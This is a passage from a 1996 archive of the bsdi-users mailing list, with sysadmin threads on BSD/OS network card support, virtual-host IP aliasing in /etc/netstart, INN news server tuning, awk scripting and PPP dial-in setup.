18:57:25 -0500 (EST) In-Reply-To: <3.0.1.32.19961126103828.00a087b0@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Marxx Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: 100BaseT/TX support in BSD/OS 2.1 Date: Tue, 26 Nov 1996 18:57:10 -0500 (EST) Hi, I'm planning on purchasing a 3Com 3C905-TX (Fast EtherLink XL) for a BSD/OS 2.1 based machine. I will be using it in 10BaseT mode until we upgrade our hubs. Is this card supported by BSD/OS? What is the most reliable and best performing 10/100 PCI NIC available for use with BSD/OS? Thanks, Charles From VM Tue Nov 26 22:56:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["752" "Tue" "26" "November" "1996" "17:44:04" "-0800" "Jon Drukman" "jsd@cyborganic.com" nil "23" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA20722 for ; Tue, 26 Nov 1996 20:53:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA19217 for bsdi-users-outgoing; Tue, 26 Nov 1996 20:45:12 -0500 (EST) Message-Id: <9611261744.ZM12970@secure.cyborganic.com> In-Reply-To: Stavros Patiniotis "Re: netstart entries" (Nov 27, 10:19am) References: X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Jon Drukman" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Tue, 26 Nov 1996 17:44:04 -0800 On Nov 27, 10:19am, Stavros Patiniotis wrote: > I found that if you add them at the end of the /etc/netstart file, your > loopback interface doesn't work. if you do it properly it will work just fine. this is what i do in my /etc/netstart... IPROOT="206.79.136" IPALIASES="21 100 112 113 114 115 116 117 118 119 120 121 122 123 124 \ 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 \ 142 143 144 145 146 147 148 149 150 151 152 153 155 157 159 161 163 \ 165 167 169 171 173 175 179 181 183 185 187 189 191 193 195 197 199" for i in ${IPALIASES} do ifconfig $iface alias $IPROOT.$i netmask 255.255.255.255 route delete $IPROOT.$i route add $IPROOT.$i 127.0.0.1 done -- Jon Drukman / jsd@cyborganic.com From VM Tue Nov 26 22:56:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3432" "Wed" "27" "November" "1996" "02:58:15" "+0100" "david@isdnet.net" "david@isdnet.net" nil "98" "Re: INN misc. (was Re: Inn: articles no longer in history file)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA20991 for ; Tue, 26 Nov 1996 20:56:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA19249 for bsdi-users-outgoing; Tue, 26 Nov 1996 20:57:34 -0500 (EST) Message-Id: <199611270158.CAA27070@emma.isdnet.net> In-Reply-To: <199611262252.XAA24313@velo.pp.vix.com> from "James A. Brister" at Nov 26, 96 11:52:40 pm X-NCC-RegID: fr.isdnet X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: david@isdnet.net Sender: owner-bsdi-users@lists.gateway.com To: brister@vix.com (James A. Brister) Cc: david@isdnet.net, blast@broder.com, bsdi-users@BSDI.COM Subject: Re: INN misc. (was Re: Inn: articles no longer in history file) Date: Wed, 27 Nov 1996 02:58:15 +0100 (MET) > The history files (there are 3) are the most used files in the news system, > so if they're on a disk that's got a lot of other activity, then that is > going to slow things down. If money were no object :-) I'd recommend one > disk for history to share with rarely used files (like source archives > etc)., another file system for overview and another set of disks for > article storage. A really full feed is around 3GB a day now, so that should > give you an idea of how much space you need. /usr is not that used I think. > > Will try overchan. > > But my real problems are why my news2 seems to be unable to handle an > > ethernet feed from my news1 (which is receiving 3 feeds). > > How similar are they for hardware and software? There are people on this > better qualified than me at analysing system performance (I'm just a > programmer who imitates a sysadmin from time to time), but you need to look > at things like how much paging and swaping is going on, and it seems like > you have that on the same disk as the history files. Exactly the same machine (P133, 128 MB RAM, 2940UW PCI, BSDI 2.1). News1 has generally 10 to 80 readers, news2 nothing. News1 receives 3 feeds and sends 2, news2 receives one. On news1 (the feeding one): news1# pstat -s Device name 1K-blocks Type sd0b 262140 Interleaved 45344 (1K-blocks) allocated out of 262140 (1K-blocks) total, 17% in use and: news1# vmstat -s ... 765776 page ins 10321 page outs 17748 pages paged in 39573 pages paged out ... On news2 the receiving one, with no readers yet, and no other feeds: news2# pstat -s Device name 1K-blocks Type sd0b 262140 Interleaved 0 (1K-blocks) allocated out of 262140 (1K-blocks) total, 0% in use and: news2# vmstat -s ... 140132 page ins 0 page outs 1248 pages paged in 0 pages paged out ... So ? I think news2 is quite inactive... The only diff is on news2: 455 news 68 5 26M 21M run 42.2H 21.44% 21.44% innd but on news1: 15228 news -6 5 27M 22M sleep 28.1H 4.25% 4.25% innd So news2's innd seems to eat up more CPU than news1's. > Expire itself, *if* you run news.daily with the 'delayrm' argument, should > take no more than 5-10 minutes. The actual file removal will take a lot > longer, but that happens behind the scenes (with the delayrm argument being > used). Ok for that. But fastrm seems able to take SEVERAL HOURS, and often more than 24hours. So the next expire cant run, so more articles are to expire next day, and it never ends. Is there a trick to quickly reach a stable state ? :) > > Thanks a lot, it could help me to define my situation as normal, abnormal, or > > critical. > > Not too far beyond normal. Yes but until I manage to synchronize my 2 servers, I can't open the second one to customers, and this is starting to become dangerous. Perhaps there is a better way to synchronize 2 servers than one master/one salve and a one way feed using XREPLIC ? > Don't get your hopes up too high. If your hardware is such that 1.4 is > having a hard time, then 1.5 isn't going to be able to do much better. 1.5 > has things that make it a worthwhile upgrade, but performance > improvements aren't really one of them. Sure, but could solve lots of weird things. -- -- David Ponzone - ISDnet - Network Administrator -- Pager: 06 06 41 82 45 Cell: 06 60 61 21 63 Email: david@isdnet.net From VM Tue Nov 26 22:56:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["582" "Tue" "26" "November" "1996" "21:18:05" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "20" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA21539 for ; Tue, 26 Nov 1996 21:24:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA19352 for bsdi-users-outgoing; Tue, 26 Nov 1996 21:19:25 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Stavros Patiniotis cc: Helen Birkmann , Jim Cassata , bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Tue, 26 Nov 1996 21:18:05 -0500 (EST) > > I put all virtual host configs into /etc/rc.local. Does anyone > > have any insight into whether one way is better than the other. > > > Just going on what BSDI say in their file > > /etc/netstart > ... > # Add commands to start additional interfaces AFTER this line > > It may be better to have them here as to have BSDI run them before it > configures the loop back! Right, I've seen that, but I took interfaces to mean actual devices, rather than adding alias to an existing configuration. It may just be a conceptual difference. Seems to work either way. Ralph From VM Tue Nov 26 22:56:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["260" "Wed" "27" "November" "1996" "13:43:22" "+1030" "David Newall" "davidn@rebel.net.au" nil "11" "Re: awk help" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA23157 for ; Tue, 26 Nov 1996 22:17:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA19494 for bsdi-users-outgoing; Tue, 26 Nov 1996 22:13:41 -0500 (EST) Message-Id: <199611270313.NAA20524@rebel.net.au> In-Reply-To: <01BBDB84.77F17720@fifc19.fia.net> from "Drew Gainor" at Nov 26, 96 10:27:45 am Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: dgainor@fia.net (Drew Gainor) Cc: bsdi-users@BSDI.COM Subject: Re: awk help Date: Wed, 27 Nov 1996 13:43:22 +1030 (CST) Drew Gainor wrote: > setenv gotohere=3Dvariable > awk '$2 < environ["gotohere"]' filename > > Should work but I can't figure out the right syntax. Write "ENVIRON" in upper case, not lower case. [Standard disclaimer: These are my private opinions] From VM Tue Nov 26 22:56:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1778" "Wed" "27" "November" "1996" "11:44:17" "+0900" "Jong Soo Lee" "nanna@hanil.co.kr" nil "46" "I wanna install udprelay" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA23163 for ; Tue, 26 Nov 1996 22:26:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA19554 for bsdi-users-outgoing; Tue, 26 Nov 1996 22:28:08 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users Organization: Hanil Telecom Lines: 45 Message-ID: <329BAB00.5B9@hanil.co.kr> Reply-To: nanna@hanil.co.kr NNTP-Posting-Host: ns.hanil.co.kr Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 3.0 (Win95; I) Precedence: bulk From: Jong Soo Lee Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: I wanna install udprelay Date: Wed, 27 Nov 1996 11:44:17 +0900 Hi! i am managed bsdi 2.1 for gauntlet server. i wanna use udp service, so i get udprelay (convert udp to tcp ) but make udprelay failed looking for poll.h so, i search poll.h for net BSD and use it for make. but i failed, consol printed error message gcc -o udprelay -O -DSYSV -DRELAYHOST=\""hantel.hanil.co.kr"\" -DRELAYPORT=1092 -DNOBODY=\""nouser"\" udprelay.c -lsocket udprelay.c: In function `opensocket': udprelay.c:335: `FIONBIO' undeclared (first use this function) udprelay.c:335: (Each undeclared identifier is reported only once udprelay.c:335: for each function it appears in.) udprelay.c:342: warning: passing arg 2 of `bind' from incompatible pointer type udprelay.c:348: warning: passing arg 2 of `getsockname' from incompatible pointe r type udprelay.c: In function `sendtopartner': udprelay.c:877: warning: passing arg 5 of `sendto' from incompatible pointer typ e udprelay.c: In function `fwdpacketfrom': udprelay.c:905: warning: passing arg 5 of `recvfrom' from incompatible pointer t *** Error code 1 Stop. how i solve the problem. Do i use bad poll.h? -- \ | \ | \ | _` | __ \ \ | _` | |\ | ( | | | |\ | ( | _| \_|\__,_|_| _|_)_)_| \_|\__,_|_) From VM Tue Nov 26 22:56:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["978" "Tue" "26" "November" "1996" "19:43:45" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "27" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA23167 for ; Tue, 26 Nov 1996 22:26:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA19546 for bsdi-users-outgoing; Tue, 26 Nov 1996 22:27:40 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Stavros Patiniotis cc: Amy , Ralph Huntington , Jim Cassata , bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Tue, 26 Nov 1996 19:43:45 -0500 (EST) In other words, the virtual domain cannot be accessed from outside of my domain? On Wed, 27 Nov 1996, Stavros Patiniotis wrote: > Amy, > > I use /etc/rc.local also, only because I want to make sure everything is > > up and going before I config virtuals. I suppose the end of /etc/netstart > > would also work just as well because then the local net is still > > configured before the virtuals are. > > I found that if you add them at the end of the /etc/netstart file, your > loopback interface doesn't work. > > Regards, > > > Stavros Patiniotis > ------------------------------------------------------------------------------ > -System Administrator / Network Manager Escape.Net - > - 465b South Rd - > -email: stavros@esc.net.au Keswick SA 5035 - > -URL: http://www.esc.net.au Ph 82932526 Fax 82932949- > ------------------------------------------------------------------------------ > > From VM Tue Nov 26 22:56:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1189" "Tue" "26" "November" "1996" "18:46:46" "-0800" "Renaud Waldura" "rw@softway.com" nil "39" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA23436 for ; Tue, 26 Nov 1996 22:27:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA19562 for bsdi-users-outgoing; Tue, 26 Nov 1996 22:28:51 -0500 (EST) Message-Id: <199611270246.SAA28784@softway95.softway.com> In-Reply-To: <9611261744.ZM12970@secure.cyborganic.com> from "Jon Drukman" at Nov 26, 96 05:44:04 pm Reply-To: Renaud Waldura Organization: Softway, Inc. (San Francisco) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Renaud Waldura Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Tue, 26 Nov 1996 18:46:46 -0800 (PST) Jon Drukman wrote: > > if you do it properly it will work just fine. this is what i do in my > /etc/netstart... > > [code deleted] I do almost exactly the same thing, except that I extract my "virtual hosts" from /etc/hosts: # virtual web hosts are defined in /etc/hosts for ip in `awk '$1 ~ /^206\.169\.30\./ && $2 ~ /^www\./ { print $1 }' /etc/hosts` do # alias them on the interface ifconfig zs0 alias $ip netmask 255.255.255.255 # access virtual host from local machine route delete $ip ; route add $ip localhost done Okay, okay, it's really just Yet Another Way... Expect that I edit /etc/hosts whenever I add new virtual hosts, instead of /etc/netstart, which definitely feels more "logical" to me :) ================================================================== Renaud Waldura Softway, Inc. 185 Berry Street, Suite 5514 - San Francisco, CA 94107 - USA Tel.: (415) 896-0708 - Fax: (415) 896-0709 - rw@softway.com WWW: http://www.softway.com ================================================================== San Francisco, CA - Evergreen, CO - Paris, France - Tunis, Tunisia ================================================================== From VM Tue Nov 26 22:56:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1335" "Tue" "26" "November" "1996" "19:40:26" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "42" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA23440 for ; Tue, 26 Nov 1996 22:27:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA19530 for bsdi-users-outgoing; Tue, 26 Nov 1996 22:27:09 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Stavros Patiniotis cc: Ralph Huntington , Jim Cassata , bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Tue, 26 Nov 1996 19:40:26 -0500 (EST) Well that's what I was told by BSDI back in July when I configured my first virtual host. Then, In October, another BSDI technician wrote back to me and told me just the opposite: add it at the bottom end of the file. I'll email you his answer. On Wed, 27 Nov 1996, Stavros Patiniotis wrote: > Ralph, > > > > Now since I have put my virtual host list at the bottom of the > > > netstart file and they all come up after reboot. > > > > I put all virtual host configs into /etc/rc.local. Does anyone > > have any insight into whether one way is better than the other. > > > Just going on what BSDI say in their file > > /etc/netstart > ... > # Add commands to start additional interfaces AFTER this line > > This is about half way in the file. > > It may be better to have them here as to have BSDI run them before it > configures the loop back! > > Have a look. > > Regards, > > > Stavros Patiniotis > ------------------------------------------------------------------------------ > -System Administrator / Network Manager Escape.Net - > - 465b South Rd - > -email: stavros@esc.net.au Keswick SA 5035 - > -URL: http://www.esc.net.au Ph 82932526 Fax 82932949- > ------------------------------------------------------------------------------ > > From VM Tue Nov 26 22:56:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1284" "Tue" "26" "November" "1996" "19:42:11" "-0500" "Helen Birkmann" "hbirkmann@gomez.mkl.com" nil "32" "Re: N4483 [BSDI-Support-Request #24245] (fwd)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA23451 for ; Tue, 26 Nov 1996 22:28:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA19536 for bsdi-users-outgoing; Tue, 26 Nov 1996 22:27:22 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: stavros@esc.net.au cc: bsdi-users@BSDI.COM Subject: Re: N4483 [BSDI-Support-Request #24245] (fwd) Date: Tue, 26 Nov 1996 19:42:11 -0500 (EST) ************************************************************************ * MKL.Net Internet Service Provider * * A service of CPU Industries * * Bainbridge, New York, USA PPP, dial-up, telnet, uucp, * * http://www.mkl.com virtual domains, web design * ************************************************************************ ---------- Forwarded message ---------- Date: Mon, 04 Nov 1996 09:37:19 -0500 From: Steven Hinkle To: Helen Birkmann Cc: BSDI Support Subject: Re: N4483 [BSDI-Support-Request #24245] Helen Birkmann writes: > > Some kind of glitch: > I entertain 3 virtual domains as you can see in attached netstart.mkl file. > Everytime I reboot, the first domain listed in that file doesn't get > configured and I have to type "ifconfig lo0 alias IP#" manually. > Now I tried for typos, spaces, etc. I also tried rearranging the > order the domains are listed in this file. > It is always the first 1 that doesn't get configured. > Do you have any comments? What you have done is to alias IP addresses to the loopback interface before the loopback interface was properly configured. You should move your changes to the end of the file. From VM Wed Nov 27 00:19:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["466" "Mon" "23" "September" "1996" "23:36:09" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "11" "directory access" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA25357 for ; Tue, 26 Nov 1996 23:45:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA19737 for bsdi-users-outgoing; Tue, 26 Nov 1996 23:38:59 -0500 (EST) Message-ID: <32476539.F29@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: directory access Date: Mon, 23 Sep 1996 23:36:09 -0500 I seem to be having trouble limiting access to directories. I have a dialin user with a directory of /usr/home/user1 when they login in they arrive in this directory, however they can cd / out of it. I have tried to put limitations on their directory access, however then they get error messages when they log in. What I need is to allow them access to /usr/home/user1 and any directory under user1, but not to any above user1. How do I do this correctly. Thanks. From VM Wed Nov 27 00:19:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["819" "Wed" "27" "November" "1996" "00:12:45" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "34" "Re: awk help " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA25907 for ; Wed, 27 Nov 1996 00:09:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA19842 for bsdi-users-outgoing; Wed, 27 Nov 1996 00:13:08 -0500 (EST) Message-Id: <199611270512.AAA15358@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Tue, 26 Nov 1996 10:27:45 PST. <01BBDB84.77F17720@fifc19.fia.net> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Drew Gainor cc: "'BSDI-USERS'" Subject: Re: awk help Date: Wed, 27 Nov 1996 00:12:45 -0500 In message <01BBDB84.77F17720@fifc19.fia.net>you write: >I am writing a script in CShell to insert a line in alphebetically in = >the middle of a file and am having problems passing a variable to awk. > >awk '$2 < gotohere' filename > >works fine but I want to replace goto here with a variable. >----------------------------------------------- >set gotohere =3D variable >awk '$2 < $gotohere' filename > >Doesn't work >----------------------------------------------- >setenv gotohere=3Dvariable >awk '$2 < environ["gotohere"]' filename > >Should work but I can't figure out the right syntax. >----------------------------------------------- > >Can anyone help me with this? Try putting a $ before a referenced variable so set gotohere = $3D awk ''$2 < $gotohere file` or setenv gotohere = $3Dvariable ... Jacob From VM Wed Nov 27 19:39:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["765" "Tue" "26" "November" "1996" "21:13:44" "-0800" "Aaron Butters" "abutters@pacificcoast.net" nil "20" "route add..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA26344 for ; Wed, 27 Nov 1996 00:20:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA19898 for bsdi-users-outgoing; Wed, 27 Nov 1996 00:19:58 -0500 (EST) Message-Id: <2.2.32.19961127051344.00717808@pacificcoast.net> X-Sender: abutters@pacificcoast.net X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Aaron Butters Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: route add... Date: Tue, 26 Nov 1996 21:13:44 -0800 I tried the following command: route add xxx.xxx.xxx.80 -netmask 255.255.255.240 gateway xxx.xxx.xxx.xxx (The gateway is set to an Ascend Max 4000) The command is accepted, the route is created except... If I do a netstat -rn afterwards the route is listed on interface ppp1 instead of ef0???? I've added routes before and never had a problem. The only that has changed recently is that I added 3 Ascend Max 4000's to my network that all have RIP V2 turned on... But I can't see how that would affect anything. Any insights? ___________________________________________________________ Aaron Butters, System Administrator, Pacific Coast NET Inc. Tel: 250.380.7322, Fax:250.380.7349, Data: 380.1847 ___________________________________________________________ From VM Wed Nov 27 19:39:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3869" "Wed" "27" "November" "1996" "00:20:10" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "151" "Re: PPP problem: Solaris 2.4. -> BSD/OS 2.0.1. (URGENT) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA26458 for ; Wed, 27 Nov 1996 00:20:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA19921 for bsdi-users-outgoing; Wed, 27 Nov 1996 00:21:37 -0500 (EST) Message-Id: <199611270520.AAA15382@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Tue, 26 Nov 1996 21:02:23 +0200. <329B3EBF.3456@infoservriga.lv> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Mihails Nikitins cc: bsdi-users@BSDI.COM Subject: Re: PPP problem: Solaris 2.4. -> BSD/OS 2.0.1. (URGENT) Date: Wed, 27 Nov 1996 00:20:10 -0500 I'm running 4.1.3_U1 on my Sun which cslips fine to my ISP which uses BSD 2.0 boxes fine. FYI, Jacob --- In message <329B3EBF.3456@infoservriga.lv>you write: >Dear bsdi-users, > >I got people who want to dial in my BSD/OS 2.01. box from their Sparc >running Solaris 2.4. I tried to connect them using the same PPP settings >technology that I use for PC users. Unfortunately, my frontal attack >failed. >As I saw in the list archive, there are some compatibility problems >connecting >these two platforms. > >Neither my users, nor I are SUN experts, but I should connect them >AS SOON AS POSSIBLE. I'm sure someone has already faced this problem. > >THANK YOU IN ADVANCE FOR ANY HELP!!! > >*************************** DETAILS *********************************** > >1. On BSD/OS server side > >Connection fails with the message: > >Pigk: PPPIOCIPWBOS failed on ppp > > >/etc/ppp.sys >------------ > >Dialinigk:\ > :di:\ > :lu=/etc/netscripts/Dialin.up.simple:\ > :li=/etc/netscripts/Dialin.login.simple.igk:\ > :ld=/etc/netscripts/Dialin.down.simple: > >Pigk:tc=Dialinigk: > > >/etc/netscripts/Dialin.up.simple >-------------------------------- > ># Dialin.up.simple by M.Nikitins >PATH=/sbin:/usr/sbin:/bin:/usr/bin >SYSTEM=$1 # System >INTERFACE=$2 # Interface >LOCAL=$3 # Local address >REMOTE=$4 # Remote address > >#get ethernet card address >ETHER=$(/etc/netscripts/myether $LOCAL) > >#remove old arp entry. ># The command may be obsolete, because Dialin.login.simple contains ># "route delete $REMOTE" that clears arp entry >arp -d $REMOTE > >#Publish arp entry >arp -s $REMOTE $ETHER pub > > >exit 0 > >/etc/netscripts/Dialin.login.simple.igk >--------------------------------------- > >#!/bin/sh ># Dialin.login.simple script by M.Nikitins. > >PATH=/sbin:/usr/sbin:/bin:/usr/bin >SYSTEM=$1 >INTERFACE=$2 >LOCAL="111.112.113.1" >LOG="/var/log/my.ppplog" > ># Choose IP address for the dialed in user > >REMOTE="111.112.113.199" > > >echo "`date` $SYSTEM on $INTERFACE started" >> $LOG > ># I should clear arp table, otherwise it can cause a failure >route delete $REMOTE > ># For more safety, don't know if it's necessary >ifconfig $INTERFACE -alias $LOCAL down > >ifconfig $INTERFACE inet $LOCAL $REMOTE netmask 255.255.255.0 up && exit >0 > >echo "IFCONFIG FAILED!" >> $LOG >netstat -ni >> $LOG >netstat -r >> $LOG > >exit 1 > > >******** >2. On Solaris 2.4 side > >Solaris connects BSD/OS, answers login name and password. >However, PPP negotiation fails. > >process_ppp_msg: PPP_ERROR_IND >call cleanup(0) >Maximum number of configure requests exceeded. > >Configuration files are as follows: > >/etc/asppp.cf >------------- > >ifconfig ipdptp0 111.112.113.199 111.112.113.1 up >path > interface ipdptp0 > peer_system_name P-server > inactivity_timeout 9000 > debug_level 5 > >/etc/uucp/Systems >----------------- >P-server Any ACU 19200 1234567 gin:Pigk word:sdjdds > >**************************************************** > >THANK YOU AGAIN! > >Best regards, >Mihails Nikitins >======================================================== >Infoserv-Riga Ltd. Phone: +371-2-558439 >14, Dzerbenes Str. Fax: +371-7828211 >Riga, LV-1006 e-mail: nikitins@infoservriga.lv >Latvia http://www.infoservriga.lv >======================================================== > ------------------------------------------------------------------------------ | Jacob M. Parnas | | IBM Thomas J. Watson Research Ctr. | | Internet: jparnas@jparnas.cybercom.net | ------------------------------------------------------------------------------ From VM Wed Nov 27 19:40:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["946" "Wed" "27" "November" "1996" "10:15:16" "-0500" "Sam Brown" "root@ns2.clever.net" nil "34" "Re: 100BaseT/TX support in BSD/OS 2.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA15439 for ; Wed, 27 Nov 1996 11:14:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA22090 for bsdi-users-outgoing; Wed, 27 Nov 1996 10:59:33 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Marxx cc: bsdi-users@BSDI.COM Subject: Re: 100BaseT/TX support in BSD/OS 2.1 Date: Wed, 27 Nov 1996 10:15:16 -0500 (EST) Its not support in 2.1. The DEC 21140 (SMC ETHERPOWER 10/100) is the best shot. Look at the card at compusa ($129 card) and make sure its the 21140-AB main chip. The clone (kingston,DFE-500-TX)'s that are made now use the 21140-AC and don't work with bsdi 2.1 drivers. You want something that works, go for the smc etherpower 10/100. Compusa has it, you can get it for like $129 if you have a corporate account, since they mark the hell outta it , you might have to haggle them down. My hardware purchaser had no problem doing so, and he's only 15. :) Sam On Tue, 26 Nov 1996, Marxx wrote: > > > Hi, > > I'm planning on purchasing a 3Com 3C905-TX (Fast EtherLink XL) for > a BSD/OS 2.1 based machine. I will be using it in 10BaseT mode until we > upgrade our hubs. Is this card supported by BSD/OS? What is the most > reliable and best performing 10/100 PCI NIC available for use with BSD/OS? > > Thanks, > > > Charles > > > From VM Wed Nov 27 19:40:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["832" "Wed" "27" "November" "1996" "11:03:59" "+0000" "Jim Cassata" "jim@web-ex.com" nil "35" "netstart entries revisited" "^From:" nil nil "11" nil nil nil nil] nil) 